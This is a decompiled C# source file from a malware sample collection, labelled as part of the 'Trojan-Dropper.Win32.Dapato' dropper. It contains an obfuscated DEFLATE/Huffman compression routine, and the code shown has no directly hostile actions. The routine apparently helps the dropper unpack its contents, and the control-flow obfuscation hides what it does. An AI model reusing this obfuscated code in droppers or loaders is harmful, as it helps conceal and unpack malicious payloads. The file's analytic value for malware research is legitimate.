MalwareSourceCode/MSIL/Trojan-Dropper/Win32/D/Trojan-Dropper.Win32.Dapato.adjp-c7222843a23fc031926828311c4204ba181271a1dde91017bc4695dc95b5fc46/f.cs
2022-08-18 06:28:56 -05:00

1055 lines
22 KiB
C#

// Decompiled with JetBrains decompiler
// Type: f
// Assembly: Fugi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BEDD3B0B-7024-4DCA-82E7-4DC806657EA8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.adjp-c7222843a23fc031926828311c4204ba181271a1dde91017bc4695dc95b5fc46.exe
using System;
using System.Collections;
internal sealed class f
{
internal const int a = 32768;
internal const int b = 258;
internal const int c = 285;
internal const int d = 287;
internal const int e = 29;
internal const int f = 31;
internal const int g = 15;
internal const int h = 256;
internal const int i = 0;
internal const int j = 1;
internal const int k = 2;
internal const int l = 16;
internal const int m = 18;
internal const int n = 16;
internal const int o = 17;
internal const int p = 18;
private const int q = 257;
internal static global::g[] r = new global::g[288];
internal static global::g[] s;
internal static global::i t;
internal static readonly int[] u;
internal static readonly int[] v;
internal static readonly int[] w;
internal static readonly int[] x;
internal static readonly int[] y;
static f()
{
label_2:
int num1 = 46;
int num2;
int index1;
while (true)
{
switch (num1)
{
case 0:
global::f.v = new int[29];
num1 = 53;
continue;
case 1:
if (num2 != 0)
{
num1 = 54;
continue;
}
goto label_59;
case 2:
global::f.v[12] = 19;
num1 = 29;
continue;
case 3:
global::f.v[20] = 67;
num1 = 24;
continue;
case 4:
global::f.u[17] = 1;
num1 = 36;
continue;
case 5:
global::f.u[10] = 11;
num1 = 14;
continue;
case 6:
index1 = 8;
num1 = 40;
continue;
case 7:
global::f.v[23] = 115;
num1 = 38;
continue;
case 8:
global::f.u[15] = 2;
num1 = 25;
continue;
case 9:
global::f.v[25] = 163;
num1 = 10;
continue;
case 10:
global::f.v[26] = 195;
num1 = 35;
continue;
case 11:
global::f.v[11] = 17;
num1 = 2;
continue;
case 12:
global::f.u[8] = 10;
num1 = 30;
continue;
case 13:
global::f.v[22] = 99;
num1 = 7;
continue;
case 14:
global::f.u[11] = 4;
num1 = 22;
continue;
case 15:
global::f.w = new int[29];
num1 = 6;
continue;
case 16:
global::f.v[17] = 43;
num1 = 41;
continue;
case 17:
global::f.u[1] = 17;
num1 = 43;
continue;
case 18:
global::f.v[6] = 9;
num1 = 42;
continue;
case 19:
global::f.u[14] = 13;
num1 = 8;
continue;
case 20:
global::f.u[5] = 7;
num1 = 50;
continue;
case 21:
global::f.v[15] = 31;
num1 = 51;
continue;
case 22:
global::f.u[12] = 12;
num1 = 44;
continue;
case 23:
global::f.u[7] = 6;
num1 = 12;
continue;
case 24:
global::f.v[21] = 83;
num1 = 13;
continue;
case 25:
global::f.u[16] = 14;
num1 = 4;
continue;
case 26:
global::f.v[2] = 5;
num1 = 47;
continue;
case 27:
global::f.v[1] = 4;
num1 = 26;
continue;
case 28:
global::f.v[8] = 11;
num1 = 48;
continue;
case 29:
global::f.v[13] = 23;
num1 = 34;
continue;
case 30:
global::f.u[9] = 5;
num1 = 5;
continue;
case 31:
global::f.v[10] = 15;
num1 = 11;
continue;
case 32:
global::f.v[4] = 7;
num1 = 49;
continue;
case 33:
global::f.u[4] = 8;
num1 = 20;
continue;
case 34:
global::f.v[14] = 27;
num1 = 21;
continue;
case 35:
global::f.v[27] = 227;
num1 = 52;
continue;
case 36:
global::f.u[18] = 15;
num1 = 0;
continue;
case 37:
global::f.u = new int[19];
num1 = 45;
continue;
case 38:
global::f.v[24] = 131;
num1 = 9;
continue;
case 39:
global::f.v[19] = 59;
num1 = 3;
continue;
case 40:
num2 = 0;
num1 = 1;
continue;
case 41:
global::f.v[18] = 51;
num1 = 39;
continue;
case 42:
global::f.v[7] = 10;
num1 = 28;
continue;
case 43:
global::f.u[2] = 18;
num1 = 33;
continue;
case 44:
global::f.u[13] = 3;
num1 = 19;
continue;
case 45:
global::f.u[0] = 16;
num1 = 17;
continue;
case 46:
global::f.s = new global::g[32];
num1 = 37;
continue;
case 47:
global::f.v[3] = 6;
num1 = 32;
continue;
case 48:
global::f.v[9] = 13;
num1 = 31;
continue;
case 49:
global::f.v[5] = 8;
num1 = 18;
continue;
case 50:
global::f.u[6] = 9;
num1 = 23;
continue;
case 51:
global::f.v[16] = 35;
num1 = 16;
continue;
case 52:
global::f.v[28] = 258;
num1 = 15;
continue;
case 53:
global::f.v[0] = 3;
num1 = 27;
continue;
case 54:
goto label_58;
default:
goto label_2;
}
}
label_58:
int num3 = 0;
goto label_60;
label_59:
num3 = 1;
label_60:
if (num3 != 0)
goto label_64;
label_61:
if (index1 % 4 == 0)
++num2;
global::f.w[index1] = num2;
++index1;
label_64:
if (index1 >= 28)
{
global::f.x = new int[30];
global::f.x[0] = 1;
global::f.x[1] = 2;
global::f.x[2] = 3;
global::f.x[3] = 4;
global::f.x[4] = 5;
global::f.x[5] = 7;
global::f.x[6] = 9;
global::f.x[7] = 13;
global::f.x[8] = 17;
global::f.x[9] = 25;
global::f.x[10] = 33;
global::f.x[11] = 49;
global::f.x[12] = 65;
global::f.x[13] = 97;
global::f.x[14] = 129;
global::f.x[15] = 193;
global::f.x[16] = 257;
global::f.x[17] = 385;
global::f.x[18] = 513;
global::f.x[19] = 769;
global::f.x[20] = 1025;
global::f.x[21] = 1537;
global::f.x[22] = 2049;
global::f.x[23] = 3073;
global::f.x[24] = 4097;
global::f.x[25] = 6145;
global::f.x[26] = 8193;
global::f.x[27] = 12289;
global::f.x[28] = 16385;
global::f.x[29] = 24577;
global::f.y = new int[30];
int index2 = 4;
int num4 = 0;
for (; index2 < 30; ++index2)
{
if (index2 % 2 == 0)
++num4;
global::f.y[index2] = num4;
}
for (int index3 = 0; index3 <= 143; ++index3)
{
global::f.r[index3].a = 48 + index3;
global::f.r[index3].b = 8;
}
for (int index4 = 144; index4 <= (int) byte.MaxValue; ++index4)
{
global::f.r[index4].a = 400 + index4 - 144;
global::f.r[index4].b = 9;
}
for (int index5 = 256; index5 <= 279; ++index5)
{
global::f.r[index5].a = index5 - 256;
global::f.r[index5].b = 7;
}
for (int index6 = 280; index6 <= 287; ++index6)
{
global::f.r[index6].a = 192 + index6 - 280;
global::f.r[index6].b = 8;
}
for (int index7 = 0; index7 <= 31; ++index7)
{
global::f.s[index7].a = index7;
global::f.s[index7].b = 5;
}
global::f.t = global::f.a(global::f.r, global::f.s);
}
else
goto label_61;
}
internal static int a(int[] a1, int[] a2)
{
int num1 = 0;
int index = 0;
if ((index == 0 ? 1 : 0) != 0)
goto label_5;
else
goto label_2;
label_1:
int num2;
switch (num2)
{
case 0:
goto label_3;
case 1:
++index;
goto label_5;
}
label_2:
num2 = 0;
goto label_1;
label_3:
num1 += a1[index] * a2[index];
num2 = 1;
goto label_1;
label_5:
if (index >= a1.Length)
return num1;
goto label_3;
}
internal static int b(int[] a1, int[] a2)
{
int num1 = 0;
int index1 = 0;
if ((index1 == 0 ? 1 : 0) != 0)
goto label_5;
else
goto label_2;
label_1:
int num2;
switch (num2)
{
case 0:
goto label_3;
case 1:
++index1;
goto label_5;
}
label_2:
num2 = 0;
goto label_1;
label_3:
num1 += a1[index1] * global::f.r[index1].b;
num2 = 1;
goto label_1;
label_5:
if (index1 >= a1.Length)
{
for (int index2 = 0; index2 < a2.Length; ++index2)
num1 += a2[index2] * global::f.s[index2].b;
return num1;
}
goto label_3;
}
internal static global::g[] a(int[] a)
{
global::g[] a1 = new global::g[a.Length];
int index = 0;
if ((index == 0 ? 1 : 0) != 0)
goto label_5;
else
goto label_2;
label_1:
int num;
switch (num)
{
case 0:
goto label_3;
case 1:
++index;
goto label_5;
}
label_2:
num = 0;
goto label_1;
label_3:
a1[index].b = a[index];
num = 1;
goto label_1;
label_5:
if (index >= a.Length)
{
global::f.a(a1);
return a1;
}
goto label_3;
}
internal static void a(global::g[] a)
{
int b1 = a[0].b;
int index1 = 1;
if ((index1 == 0 ? 0 : 1) != 0)
goto label_4;
label_1:
if (b1 < a[index1].b)
b1 = a[index1].b;
++index1;
label_4:
if (index1 >= a.Length)
{
int[] numArray1 = new int[b1 + 1];
for (int index2 = 0; index2 < a.Length; ++index2)
++numArray1[a[index2].b];
int[] numArray2 = new int[b1 + 1];
label_10:
int num1 = 0;
int num2;
int index3;
while (true)
{
switch (num1)
{
case 0:
num2 = 0;
num1 = 1;
continue;
case 1:
numArray1[0] = 0;
num1 = 2;
continue;
case 2:
index3 = 1;
num1 = 3;
continue;
case 3:
goto label_16;
default:
goto label_10;
}
}
label_16:
for (; index3 <= b1; ++index3)
{
num2 = num2 + numArray1[index3 - 1] << 1;
numArray2[index3] = num2;
}
for (int index4 = 0; index4 < a.Length; ++index4)
{
int b2 = a[index4].b;
if (b2 != 0)
{
a[index4].a = numArray2[b2];
++numArray2[b2];
}
}
}
else
goto label_1;
}
internal static global::i a(global::g[] a1, global::g[] a2) => new global::i()
{
a = global::f.a(a1),
b = global::f.a(a2)
};
internal static global::h a(global::g[] a)
{
global::f.b[] a1 = new global::f.b[a.Length];
int a2 = 0;
int index = 0;
if ((index == 0 ? 1 : 0) != 0)
goto label_9;
label_1:
if (a[index].b > 0)
{
global::f.b b = new global::f.b();
label_4:
int num = 0;
while (true)
{
switch (num)
{
case 0:
b.a = a[index];
num = 1;
continue;
case 1:
b.b = (ushort) index;
num = 2;
continue;
case 2:
goto label_7;
default:
goto label_4;
}
}
label_7:
a1[a2++] = b;
}
++index;
label_9:
if (index >= a.Length)
{
if (a.Length < 1)
throw new InvalidOperationException();
return global::f.a(a1, a2, 0, 0);
}
goto label_1;
}
private static global::h a(global::f.b[] a1, int a2, int a3, int a4)
{
global::f.b[] a5 = new global::f.b[a2];
global::f.b[] a6 = new global::f.b[a2];
global::h h = new global::h();
h.a = false;
int a7;
int a8 = a7 = 0;
int index = 0;
if ((index == 0 ? 1 : 0) != 0)
goto label_11;
label_1:
global::f.b b = a1[index];
if (b.a.b == a4 && b.a.a == a3)
{
h.a = true;
h.b = b.b;
}
else
{
bool flag = (b.a.a >> b.a.b - a4 - 1 & 1) != 0;
label_5:
int num = 0;
while (true)
{
switch (num)
{
case 0:
if (flag)
{
num = 1;
continue;
}
goto label_9;
case 1:
a6[a8++] = b;
num = 2;
continue;
case 2:
goto label_10;
default:
goto label_5;
}
}
label_9:
a5[a7++] = b;
}
label_10:
++index;
label_11:
if (index >= a2)
{
if (h.a)
{
if (a8 > 0 || a7 > 0)
throw new InvalidOperationException();
}
else
{
if (a7 > 0)
h.c = global::f.a(a5, a7, a3 << 1, a4 + 1);
if (a8 > 0)
h.d = global::f.a(a6, a8, a3 << 1 | 1, a4 + 1);
}
return h;
}
goto label_1;
}
internal static void a(int a1, out int a2, out int a3)
{
a2 = global::f.v[a1 - 257];
label_2:
int num = 0;
while (true)
{
switch (num)
{
case 0:
a3 = global::f.w[a1 - 257];
num = 1;
continue;
case 1:
goto label_4;
default:
goto label_2;
}
}
label_4:;
}
internal static void a(int a1, out int a2, out int a3, out int a4)
{
int index = Array.BinarySearch<int>(global::f.v, a1);
if (index < 0)
index = ~index - 1;
a2 = index + 257;
label_4:
int num = 0;
while (true)
{
switch (num)
{
case 0:
a3 = a1 - global::f.v[index];
num = 1;
continue;
case 1:
a4 = global::f.w[index];
num = 2;
continue;
case 2:
goto label_7;
default:
goto label_4;
}
}
label_7:;
}
internal static void b(int a1, out int a2, out int a3, out int a4)
{
int index = Array.BinarySearch<int>(global::f.x, a1);
if (index < 0)
index = ~index - 1;
a2 = index;
label_4:
int num = 0;
while (true)
{
switch (num)
{
case 0:
a3 = a1 - global::f.x[index];
num = 1;
continue;
case 1:
a4 = global::f.y[index];
num = 2;
continue;
case 2:
goto label_7;
default:
goto label_4;
}
}
label_7:;
}
internal static int[] a(int[] a1, int a2) => global::f.a.a(a1, a2);
internal static int[] a(int[] a) => global::f.a.a(a, 15);
internal static int a(int a)
{
int num1 = a;
label_2:
int num2 = 0;
while (true)
{
switch (num2)
{
case 0:
switch (num1)
{
case 16:
goto label_5;
case 17:
goto label_6;
case 18:
goto label_7;
default:
num2 = 1;
continue;
}
case 1:
goto label_8;
default:
goto label_2;
}
}
label_5:
return 2;
label_6:
return 3;
label_7:
return 7;
label_8:
return 0;
}
internal static int[] a(int[] a1, int a2, int a3)
{
ArrayList arrayList = new ArrayList();
int num1 = 0;
if ((num1 == 0 ? 1 : 0) != 0)
goto label_22;
label_1:
if (a1[a2 + num1] == 0)
{
int num2 = 0;
do
{
++num2;
}
while (num1 + num2 < a3 && num2 < 138 && a1[a2 + num1 + num2] == 0);
if (num2 < 3)
{
if (num2 >= 1)
arrayList.Add((object) 0);
if (num2 >= 2)
arrayList.Add((object) 0);
}
else if (num2 < 11)
{
arrayList.Add((object) 17);
arrayList.Add((object) (num2 - 3));
}
else
{
arrayList.Add((object) 18);
arrayList.Add((object) (num2 - 11));
}
num1 += num2;
}
else
{
int num3 = a1[a2 + num1++];
label_15:
int num4 = 1;
int num5;
while (true)
{
switch (num4)
{
case 0:
num5 = 0;
num4 = 2;
continue;
case 1:
arrayList.Add((object) num3);
num4 = 0;
continue;
case 2:
goto label_19;
default:
goto label_15;
}
}
label_19:
while (num1 + num5 < a3 && num5 < 6 && a1[a2 + num1 + num5] == num3)
++num5;
if (num5 >= 3)
{
arrayList.Add((object) 16);
arrayList.Add((object) (num5 - 3));
num1 += num5;
}
}
label_22:
if (num1 >= a3)
return (int[]) arrayList.ToArray(typeof (int));
goto label_1;
}
private sealed class a
{
internal static int[] a(int[] a1, int a2)
{
int[] items = new int[a1.Length];
int[] numArray1 = new int[a1.Length];
int index1 = 0;
if ((index1 == 0 ? 1 : 0) != 0)
goto label_2;
label_1:
items[index1] = index1;
++index1;
label_2:
if (index1 >= items.Length)
{
Array.Copy((Array) a1, (Array) numArray1, a1.Length);
Array.Sort<int, int>(numArray1, items);
int sourceIndex = 0;
while (sourceIndex < numArray1.Length && numArray1[sourceIndex] == 0)
++sourceIndex;
int[] numArray2 = new int[numArray1.Length - sourceIndex];
label_8:
int num = 1;
int[] numArray3;
while (true)
{
switch (num)
{
case 0:
if (numArray2.Length == 0)
{
num = 2;
continue;
}
goto label_13;
case 1:
Array.Copy((Array) numArray1, sourceIndex, (Array) numArray2, 0, numArray2.Length);
num = 0;
continue;
case 2:
numArray3 = new int[0];
num = 3;
continue;
case 3:
goto label_16;
default:
goto label_8;
}
}
label_13:
if (numArray2.Length == 1)
numArray3 = new int[1]{ 1 };
else
numArray3 = global::f.a.b(numArray2, a2);
label_16:
int[] numArray4 = new int[a1.Length];
for (int index2 = 0; index2 < numArray3.Length; ++index2)
numArray4[items[index2 + sourceIndex]] = numArray3[index2];
return numArray4;
}
goto label_1;
}
private static int[] b(int[] a1, int a2)
{
int length = a1.Length;
label_2:
int num1 = 3;
int[][] numArray1;
int index1;
int[] a;
while (true)
{
switch (num1)
{
case 0:
numArray1[0] = a1;
num1 = 2;
continue;
case 1:
if (index1 != 0)
{
num1 = 5;
continue;
}
goto label_10;
case 2:
a = new int[a1.Length / 2];
num1 = 4;
continue;
case 3:
numArray1 = new int[a2][];
num1 = 0;
continue;
case 4:
index1 = 0;
num1 = 1;
continue;
case 5:
goto label_9;
default:
goto label_2;
}
}
label_9:
int num2 = 0;
goto label_11;
label_10:
num2 = 1;
label_11:
if (num2 != 0)
goto label_13;
label_12:
a[index1] = a1[index1 * 2] + a1[index1 * 2 + 1];
++index1;
label_13:
if (index1 >= a.Length)
{
for (int index2 = 1; index2 < a2; ++index2)
{
int[] numArray2 = global::f.a.a(a, a1);
numArray1[index2] = numArray2;
a = new int[numArray2.Length / 2];
for (int index3 = 0; index3 < a.Length; ++index3)
a[index3] = numArray2[index3 * 2] + numArray2[index3 * 2 + 1];
}
int[] numArray3 = new int[length];
int num3 = length - 1;
for (int index4 = a2 - 1; index4 >= 0; --index4)
{
int[] numArray4 = numArray1[index4];
int num4 = 0;
int index5 = 0;
for (int index6 = 0; index6 < num3 * 2; ++index6)
{
if (index5 < a1.Length && a1[index5] == numArray4[index6])
{
++numArray3[index5];
++index5;
}
else
++num4;
}
num3 = num4;
}
return numArray3;
}
goto label_12;
}
private static int[] a(int[] a1, int[] a2)
{
int[] numArray = new int[a1.Length + a2.Length];
label_2:
int num1 = 3;
int index1;
int num2;
int index2;
while (true)
{
switch (num1)
{
case 0:
index1 = 0;
num1 = 2;
continue;
case 1:
if (num2 != 0)
{
num1 = 4;
continue;
}
goto label_9;
case 2:
num2 = 0;
num1 = 1;
continue;
case 3:
index2 = 0;
num1 = 0;
continue;
case 4:
goto label_8;
default:
goto label_2;
}
}
label_8:
int num3 = 0;
goto label_10;
label_9:
num3 = 1;
label_10:
if (num3 != 0)
goto label_12;
label_11:
numArray[num2++] = a1[index2] >= a2[index1] ? a2[index1++] : a1[index2++];
label_12:
if (index2 >= a1.Length || index1 >= a2.Length)
{
while (index2 < a1.Length)
numArray[num2++] = a1[index2++];
while (index1 < a2.Length)
numArray[num2++] = a2[index1++];
return numArray;
}
goto label_11;
}
}
private struct b
{
internal global::g a;
internal ushort b;
}
}